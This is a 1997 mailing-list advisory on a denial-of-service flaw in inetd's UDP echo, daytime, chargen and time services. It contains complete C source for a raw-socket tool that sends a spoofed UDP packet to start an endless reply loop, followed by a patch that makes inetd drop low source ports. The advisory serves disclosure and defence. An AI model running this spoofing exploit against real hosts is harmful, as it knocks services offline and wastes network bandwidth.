Simple TCP service can hang a system

Willy TARREAU (tarreau@AEMIAIF.IBP.FR)
Sat, 21 Jun 1997 23:58:16 +0200

Hi !

I've noticed that inetd doesn't check the source port for the request
to UDP simple services (echo, time, chargen, daytime).

This means it is possible to build a packet which will look like it comes
from one of these ports, to one of these ports. In this case, each UDP
response from the simple service will generate a new request to the source
port and the system or network can be quickly overloaded.

to test this, I've written a program, let's say an exploit... It completely
builds an UDP packet from RAW IP.

You just have to specify which IP and PORT you want for source and
destination, and then look at the result.

On my Linux 2.0.29, inetd goes to 99% CPU when source/dest are the same
machine with any of these 4 ports.

I tested Netware Client 32 for DOS/Windows, and it simply hangs. Not tested
yet on Win95/NT/Netware...

Concerning Linux, I've patched inetd to prevent it from replying to
requests coming from a port below one specified in the source (I chose 128).

Here comes the exploit, and next, the patch for inetd (inetd from
NetKit-0.09).

Willy Tarreau

--
+---------------+------------------------+--------------------------------+
| Willy Tarreau | tarreau@aemiaif.ibp.fr | http://www-miaif.ibp.fr/willy/ |
| Magistere d'Informatique Appliquee de l'Ile de France (MIAIF), promo 97 |
| DEA  A.S.I.M.E. |  Universite Pierre et Marie Curie (Paris 6), FRANCE   |
+-----------------+-------------------------------------------------------+

-------------------- UDP simple services exploit -------------------------- /*

PingPong. 970621 by Willy TARREAU <tarreau@aemiaif.ibp.fr>

This program sends a spoofed UDP packet to the host you want to test. You just have to choose source address/port and destination address/port. There are two main uses of this program: - generate a packet which will make inetd reply to itself continuously on a given host. This will slow down a system because inetd will use most of the CPU to reply to its own requests. - generate a packet which will initiate a "ping pong" between two machines. In this case, this will consume network bandwidth for nothing.

On Linux, inetd is fooled on these internal ports:

7: echo 13: daytime 19: chargen 37: time

Netware Client 32 hangs the workstations with 7 or 19. Others not tested yet. Not tested yet on Netware nor WinNt nor Win95.

As this program uses RAW sockets, you need to run it as root.

*/

#include <netinet/in.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netdb.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <ctype.h> #include <errno.h>

struct sockaddr addrfrom; struct sockaddr addrto; int s; u_char outpack[65536]; struct iphdr *ip; struct udphdr *udp;

main(int argc, char **argv) { struct sockaddr_in *from; struct sockaddr_in *to; struct protoent *proto; int i; char *src,*dest; int srcp, destp; int packetsize,datasize;

fprintf(stderr,"PingPong 1.0 - 970621 by Willy Tarreau <tarreau@aemiaif.ibp.fr>\n"); fprintf(stderr,"<<< PLEASE USE THIS FOR TESTS ONLY AND WITH ADMINISTRATORS' AUTHORIZATION >>>\n\n"); if (argc!=5) { fprintf(stderr,"wrong arg count.\nUsage: pingpong src_addr src_port dst_addr dst_port\n"); fprintf(stderr,"src_addr and dst_addr must be given as IP addresses (xxx.xxx.xxx.xxx)\n"); fprintf(stderr,"Note that it often works with 127.0.0.1 as src_addr !\n"); exit(2); } src=argv[1]; srcp=atoi(argv[2]); dest=argv[3]; destp=atoi(argv[4]);

if (!(proto = getprotobyname("raw"))) { perror("getprotobyname(raw)"); exit(2); } /* "raw" should be 255 */ if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) { perror("socket"); exit(2); }

memset(&addrfrom, 0, sizeof(struct sockaddr)); from = (struct sockaddr_in *)&addrfrom; from->sin_family = AF_INET; from->sin_port=htons(srcp); if (!inet_aton(src, &from->sin_addr)) { fprintf(stderr,"Incorrect address for 'from': %s\n",src); exit(2); }

memset(&addrto, 0, sizeof(struct sockaddr)); to = (struct sockaddr_in *)&addrto; to->sin_family = AF_INET; to->sin_port=htons(destp); if (!inet_aton(dest, &to->sin_addr)) { fprintf(stderr,"Incorrect address for 'to': %s\n",dest); exit(2); }

packetsize=0;

/* lets's build a complete UDP packet from scratch */

ip=(struct iphdr *)outpack; ip->version=4; /* IPv4 */ ip->ihl=5; /* 5 words IP header */ ip->tos=0; ip->id=0; ip->frag_off=0; ip->ttl=0x40; if (!(proto = getprotobyname("udp"))) { perror("getprotobyname(udp)"); exit(2); } /* "udp" should be 17 */ ip->protocol=proto->p_proto; /* udp */ ip->check=0; /* null checksum, will be automatically computed by the kernel */ ip->saddr=from->sin_addr.s_addr; ip->daddr=to->sin_addr.s_addr; /* end of ip header */ packetsize+=ip->ihl<<2; /* udp header */ udp=(struct udphdr *)((int)outpack + (int)(ip->ihl<<2)); udp->source=htons(srcp); udp->dest=htons(destp); udp->check=0; /* ignore checksum */ packetsize+=sizeof(struct udphdr); /* end of udp header */ /* add udp data here if you like */ for (datasize=0;datasize<8;datasize++) { outpack[packetsize+datasize]='A'+datasize; } packetsize+=datasize; udp->len=htons(sizeof(struct udphdr)+datasize); ip->tot_len=htons(packetsize); if (sendto(s, (char *)outpack, packetsize, 0, &addrto, sizeof(struct sockaddr))==-1) { perror("sendto"); exit(2); } printf("packet sent !\n"); close(s); printf("end\n"); exit(0); }

-------------------- patch for inetd --------------------

--- inetd.c Sat Nov 23 19:44:12 1996 +++ inetd-fix.c Sat Jun 21 23:38:09 1997 @@ -170,6 +170,7 @@ #define TOOMANY 40 /* don't start more than TOOMANY */ #define CNT_INTVL 60 /* servers in CNT_INTVL sec. */ #define RETRYTIME (60*10) /* retry after bind or server fail */ +#define MINSRCPORT 128 /* below this port, UDP requests are ignored */

#define SIGBLOCK (sigmask(SIGCHLD)|sigmask(SIGHUP)|sigmask(SIGALRM))

@@ -1271,6 +1272,8 @@ size = sizeof(sa); if ((i = recvfrom(s, buffer, sizeof(buffer), 0, &sa, &size)) < 0) return; + if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT) + return; (void) sendto(s, buffer, i, 0, &sa, sizeof(sa)); }

@@ -1369,6 +1372,9 @@ if (recvfrom(s, text, sizeof(text), 0, &sa, &size) < 0) return;

+ if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT) + return; + if ((len = endring - rs) >= LINESIZ) bcopy(rs, text, LINESIZ); else { @@ -1423,6 +1429,10 @@ size = sizeof(sa); if (recvfrom(s, (char *)&result, sizeof(result), 0, &sa, &size) < 0) return; + + if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT) + return; + result = machtime(); (void) sendto(s, (char *) &result, sizeof(result), 0, &sa, sizeof(sa)); } @@ -1456,6 +1466,8 @@ size = sizeof(sa); if (recvfrom(s, buffer, sizeof(buffer), 0, &sa, &size) < 0) return; + if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT) + return; sprintf(buffer, "%.24s\r\n", ctime(&clocc)); sendto(s, buffer, strlen(buffer), 0, &sa, sizeof(sa)); }

----------------------- end of patch -------------